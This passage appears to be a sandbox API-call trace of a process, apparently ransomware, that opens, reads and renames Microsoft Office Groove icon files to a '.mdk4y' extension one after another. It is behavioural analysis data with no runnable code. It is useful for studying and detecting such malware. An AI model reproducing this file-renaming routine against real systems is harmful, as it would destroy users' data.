lpMultiByteStr="CHEVRON.ICOefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 11 [0222.276] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\chevron.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.277] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829750700000) returned 1 [0222.277] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb2e, lpOverlapped=0x0) returned 1 [0222.288] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829751800000) returned 1 [0222.288] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829751800000) returned 1 [0222.289] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\chevron.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\chevron.ico.mdk4y")) returned 1 [0222.290] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.290] AreFileApisANSI () returned 1 [0222.290] GetACP () returned 0x4e4 [0222.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="COMPUTER.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="COMPUTER.ICOfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 12 [0222.290] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\computer.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.291] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829752100000) returned 1 [0222.291] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xa2e, lpOverlapped=0x0) returned 1 [0222.314] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829754400000) returned 1 [0222.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829754500000) returned 1 [0222.315] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\computer.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\computer.ico.mdk4y")) returned 1 [0222.316] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.316] AreFileApisANSI () returned 1 [0222.316] GetACP () returned 0x4e4 [0222.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ContactSelector.ico", cchWideChar=19, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ContactSelector.ico7pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 19 [0222.316] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\contactselector.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.317] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829754700000) returned 1 [0222.317] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xea6, lpOverlapped=0x0) returned 1 [0222.328] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829755800000) returned 1 [0222.328] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829755800000) returned 1 [0222.328] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\contactselector.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\contactselector.ico.mdk4y")) returned 1 [0222.329] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.329] AreFileApisANSI () returned 1 [0222.329] GetACP () returned 0x4e4 [0222.329] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="gfserrorfromgroove.ico", cchWideChar=22, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="gfserrorfromgroove.ico28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 22 [0222.329] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrorfromgroove.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.331] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829756100000) returned 1 [0222.331] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6b6, lpOverlapped=0x0) returned 1 [0222.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829756200000) returned 1 [0222.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829756200000) returned 1 [0222.333] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrorfromgroove.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrorfromgroove.ico.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrorfromgroove.ico.mdk4y")) returned 1 [0222.335] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.335] AreFileApisANSI () returned 1 [0222.335] GetACP () returned 0x4e4 [0222.335] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="gfserrortogroove.ico", cchWideChar=20, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="gfserrortogroove.icoco", lpUsedDefaultChar=0x37dec0) returned 20 [0222.335] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrortogroove.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.336] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829756600000) returned 1 [0222.336] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6b6, lpOverlapped=0x0) returned 1 [0222.345] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829757400000) returned 1 [0222.345] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829757500000) returned 1 [0222.345] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrortogroove.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\gfserrortogroove.ico.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gfserrortogroove.ico.mdk4y")) returned 1 [0222.347] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.347] AreFileApisANSI () returned 1 [0222.347] GetACP () returned 0x4e4 [0222.347] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GWE.ICO", cchWideChar=7, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="GWE.ICOrtogroove.ico", lpUsedDefaultChar=0x37dec0) returned 7 [0222.347] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gwe.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829757800000) returned 1 [0222.348] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x294dd, lpOverlapped=0x0) returned 1 [0222.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829759800000) returned 1 [0222.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829759800000) returned 1 [0222.369] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gwe.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\GWE.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\gwe.ico.mdk4y")) returned 1 [0222.372] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.372] AreFileApisANSI () returned 1 [0222.372] GetACP () returned 0x4e4 [0222.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INCOMING.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="INCOMING.ICOoove.ico", lpUsedDefaultChar=0x37dec0) returned 12 [0222.372] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\incoming.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829760300000) returned 1 [0222.373] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6b6, lpOverlapped=0x0) returned 1 [0222.384] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829761400000) returned 1 [0222.384] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829761400000) returned 1 [0222.384] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\incoming.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INCOMING.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\incoming.ico.mdk4y")) returned 1 [0222.386] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.386] AreFileApisANSI () returned 1 [0222.386] GetACP () returned 0x4e4 [0222.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INDOMAIN.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="INDOMAIN.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0222.386] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\indomain.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.387] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829761700000) returned 1 [0222.387] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x13e, lpOverlapped=0x0) returned 1 [0222.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829761800000) returned 1 [0222.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829761800000) returned 1 [0222.388] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\indomain.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\INDOMAIN.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\indomain.ico.mdk4y")) returned 1 [0222.389] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.389] AreFileApisANSI () returned 1 [0222.389] GetACP () returned 0x4e4 [0222.389] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MAIL.ICO", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MAIL.ICO.ICO", lpUsedDefaultChar=0x37dec0) returned 8 [0222.389] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\mail.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.389] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829761900000) returned 1 [0222.389] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xa2e, lpOverlapped=0x0) returned 1 [0222.391] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829762100000) returned 1 [0222.391] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829762100000) returned 1 [0222.391] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\mail.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MAIL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\mail.ico.mdk4y")) returned 1 [0222.392] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.392] AreFileApisANSI () returned 1 [0222.392] GetACP () returned 0x4e4 [0222.392] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MANUAL.ICO", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MANUAL.ICOCO", lpUsedDefaultChar=0x37dec0) returned 10 [0222.392] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\manual.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.393] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829762300000) returned 1 [0222.393] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x13e, lpOverlapped=0x0) returned 1 [0222.394] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829762400000) returned 1 [0222.394] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829762400000) returned 1 [0222.394] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\manual.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\MANUAL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\manual.ico.mdk4y")) returned 1 [0222.395] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.395] AreFileApisANSI () returned 1 [0222.395] GetACP () returned 0x4e4 [0222.395] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="messageboxalert.ico", cchWideChar=19, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="messageboxalert.icoo", lpUsedDefaultChar=0x37dec0) returned 19 [0222.395] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxalert.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.396] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829762600000) returned 1 [0222.396] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb2e, lpOverlapped=0x0) returned 1 [0222.397] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829762700000) returned 1 [0222.397] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829762700000) returned 1 [0222.397] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxalert.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxalert.ico.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxalert.ico.mdk4y")) returned 1 [0222.399] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.399] AreFileApisANSI () returned 1 [0222.399] GetACP () returned 0x4e4 [0222.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="messageboxerror.ico", cchWideChar=19, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="messageboxerror.ico", lpUsedDefaultChar=0x37dec0) returned 19 [0222.399] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxerror.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.399] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829762900000) returned 1 [0222.399] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb2e, lpOverlapped=0x0) returned 1 [0222.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829764300000) returned 1 [0222.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829764300000) returned 1 [0222.414] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxerror.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxerror.ico.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxerror.ico.mdk4y")) returned 1 [0222.415] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.415] AreFileApisANSI () returned 1 [0222.415] GetACP () returned 0x4e4 [0222.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="messageboxinfo.ico", cchWideChar=18, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="messageboxinfo.icoo", lpUsedDefaultChar=0x37dec0) returned 18 [0222.415] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxinfo.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.416] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829764600000) returned 1 [0222.416] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb2e, lpOverlapped=0x0) returned 1 [0222.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829764800000) returned 1 [0222.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829764800000) returned 1 [0222.418] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxinfo.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxinfo.ico.mdk4y")) returned 1 [0222.419] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.419] AreFileApisANSI () returned 1 [0222.419] GetACP () returned 0x4e4 [0222.419] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ModifiedTelespace.ico", cchWideChar=21, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ModifiedTelespace.icoo", lpUsedDefaultChar=0x37dec0) returned 21 [0222.420] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\modifiedtelespace.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.420] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829765000000) returned 1 [0222.420] ReadFile 